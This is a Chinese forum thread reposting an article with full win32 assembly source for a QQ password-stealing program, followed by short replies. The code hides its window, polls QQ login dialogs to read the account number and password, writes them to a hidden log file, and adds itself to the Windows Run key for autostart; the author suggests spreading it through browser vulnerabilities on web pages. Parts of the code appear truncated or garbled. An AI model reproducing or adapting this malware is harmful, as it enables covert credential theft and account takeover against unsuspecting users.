返回列表 发帖

[转帖]利用汇编语言开发盗QQ密码程序

利用汇编语言开发盗QQ密码程序 作者: CZY 你可以从这个程序学到如何利用汇编...的一些特别特性 程序下载地址: locking.8u8.com/hack/asmqq.rar 这是一个我用了一天多编出来的运行在98环境下的 记录QQ密码的小程序,只有不到7KB 编程语言是win32汇编,我用的是MASM8.0编绎器 可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程 序要么被杀要么没更新用不到了....只好自已写一个,由于这 个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE 的洞洞让看过网页的人就中招..当然你还得改改程序,因为它 不具有发邮件的功能. 文件说明: qqlog.txt c:\windows\system32目录下,密码就放这儿了 qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动 qqplus.asm 源文件 qq.rc 资源文件 findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法 str.asm 验证在文件中找是否有已知字串的小模块 readme.txt 这也要说明:) 编绎参数: D:\masm32\BIN>type b.bat ml /c /coff msg.asm link /subsystem:windows msg.obj qq.res czy 于03.06.15 .386 .model flat,stdcall option casemap:none include ../include/windows.inc include ../include/user32.inc includelib ../lib/user32.lib include ../include/kernel32.inc includelib ../lib/kernel32.lib include ../include/Advapi32.inc includelib ../lib/Advapi32.lib _PROCVAR2 typedef proto :dword,:dword PROCVAR2 typedef ptr _PROCVAR2 .data szcaption db 'hello asm!',0 sztext db 'hehe' ,0 szqqtitle db ' ',0 sztext1 db 'cant find' ,0 tx db 40 dup(0),0 pass db 16 dup(0),0 qqno db 40 dup(0),0 log db 'c:\windows\system32\qqlog.txt',0 szFormat db '%s %s',0dh,0Ah,0 regpath db 'Software\Microsoft\Windows\CurrentVersion\Run',0 keyname db 'QQplus',0 exename db 'QQplus.exe',0 hkey dd ? allnum dd ? @szBuffer db 60 dup(0),0 canwrite db 0 ;---------------------------------是否有重复记录 find db '相同用户名密码已在文件中存在',0 logall db 1024 dup(0),0 @hFile1 dd ? p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0 k dd 0 ;在logall中找到多少个相同的字符了 q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置? j dd 0 ;记录在logall中找到多少个字串来了 base dd 0 ;记录logall的地址 lenstr dd 0 ;记录匹配的字串的长度 len dd 0 ;记录文件长度 @szBuffer1 db 10 dup(0),0 szFormat1 db '%d%s',0 ;--------------------------------- .const szregister db 'RegisterServiceProcessA',0 kerdll db 'kernel32.dll',0 .data? hInstance dd ? hWinMain dd ? RegisterServiceProcessA PROCVAR2 ? hDllInstance dd ? .code _isin proc invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ,\ NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL ;OPEN_ALWAYS:存在则打开,不存在就创建 mov @hFile1,eax invoke GetFileSize,@hFile1,NULL ;得到文件长度 invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL invoke CloseHandle,@hFile1 invoke lstrlen,addr logall ;得到字串总长 mov esi,offset len mov [esi],eax ;并记录到len变量中 invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度 mov esi,offset lenstr mov [esi],eax ;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr ;invoke MessageBox,NULL,offset logall,offset @szBuffer,1 ;上面的*作从文件中读出所有内容,下面就是比较 mov esi,offset logall mov edi,offset @szBuffer xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx @@bg: movzx eax,byte ptr [esi] ;logall movzx ebx,byte ptr [edi] ;@szBuffer mov ecx,len .if j>ecx jmp @@exit .endif .if eax==ebx .if p==0 ;找到一个和hello的第一个字母相同的 inc p ;p设为1 mov edx,offset j mov ecx,[edx] mov q,ecx ;把j的值给Q .endif inc edi inc esi inc j inc k mov ecx,lenstr .if k==ecx pushad ;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall ;invoke MessageBox,NULL,offset @szBuffer1,offset find,1 popad ;调用了函数eax值发生变化所以要还原寄存器 inc canwrite ;可写入标记设为1 jmp @@exit .endif .else .if p==1 mov ecx,q mov j,ecx inc j movzx eax,byte ptr [esi] add esi,j mov edi,offset @szBuffer dec p ;p重设为0 mov k,0 .else inc j inc esi .endif .endif jmp @@bg @@exit: ret _isin endp _SavePass proc ;用户名密码记录在全局变量中了 local @hFile:HFILE local @lpOpenbuf:OFSTRUCT invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass ;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1 mov qqno,NULL mov pass,NULL invoke _isin .if canwrite==0 invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ,\ NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL ;OPEN_ALWAYS:存在则打开,不存在就创建 mov @hFile,eax invoke SetFilePointer,@hFile,0,NULL,FILE_END invoke SetEndOfFile,@hFile ;文件指针放到文件尾 invoke lstrlen,addr @szBuffer invoke _lwrite,@hFile,addr @szBuffer,eax .else dec canwrite ;还原标记 .endif invoke CloseHandle,@hFile ;清空当前记录的密码防止重复记录 ret _SavePass endp _Findzi proc _hzi invoke GetWindowLong,_hzi, GWL_STYLE .if eax==50012080h ;记录QQ号码 invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0 inc eax push eax invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx ;invoke MessageBox,NULL,offset tx,offset szcaption,1 ; mov esi, offset tx ; mov edi, offset qqno ;MYCOPYSTR0: ; mov al,byte ptr [esi] ; cmp al,0 ; jz MYCOPYSTR1 ; mov [edi],al ; inc esi ; inc edi ; jmp MYCOPYSTR0 ;MYCOPYSTR1: pop ecx .if ecx>5 ;长度大于4,qqno!=tx mov edi,offset qqno mov esi,offset tx xor edx,edx .while edx6 ;长度大于5,qqno!=tx mov edi,offset pass mov esi,offset tx xor edx,edx .while edx5 ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1 invoke _SavePass .endif .endif popad ret _ProcTimer endp _ProcDlgMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam mov eax,uMsg .if eax==WM_INITDIALOG push hWnd pop hWinMain invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW ;显藏程序在任务栏的按钮 invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW ;窗口不可见 invoke SetTimer,hWinMain,1,500,addr _ProcTimer .elseif eax == WM_CLOSE invoke KillTimer,hWinMain,1 invoke EndDialog,hWinMain,NULL .else mov eax,FALSE ret .endif mov eax,TRUE ret _ProcDlgMain endp start: invoke GetModuleHandle,NULL mov hInstance,eax ;pushad ;invoke LoadLibrary,offset kerdll ;.if eax ;加载KERNEL32.dll成功 ; mov hDllInstance,eax ; invoke GetProcAddress,hDllInstance,offset szregister ; ; mov RegisterServiceProcessA,eax ; ;mov ebx,01 ; invoke RegisterServiceProcessA,hInstance,01 ;在务任管理器中隐藏进程 ; ; invoke FreeLibrary,offset kerdll ;.endif ;popad invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL ;开机自启动 invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11 invoke RegCloseKey,hkey ;invoke ExitProcess,NULL end start  

[转帖]利用汇编语言开发盗QQ密码程序

太难了啊
一点都摸不到头绪

TOP

[转帖]利用汇编语言开发盗QQ密码程序

如果想把它变成可以自动发邮件的,就要开后门
利用某一个端口发邮件
好一点的杀毒软件都可以发现这种木马的

TOP

[转帖]利用汇编语言开发盗QQ密码程序

  汇编果然好难哦

TOP

[转帖]利用汇编语言开发盗QQ密码程序

看不懂呀!

TOP

[转帖]利用汇编语言开发盗QQ密码程序

  好复杂哦
简单点好吗

TOP

返回列表 回复 发帖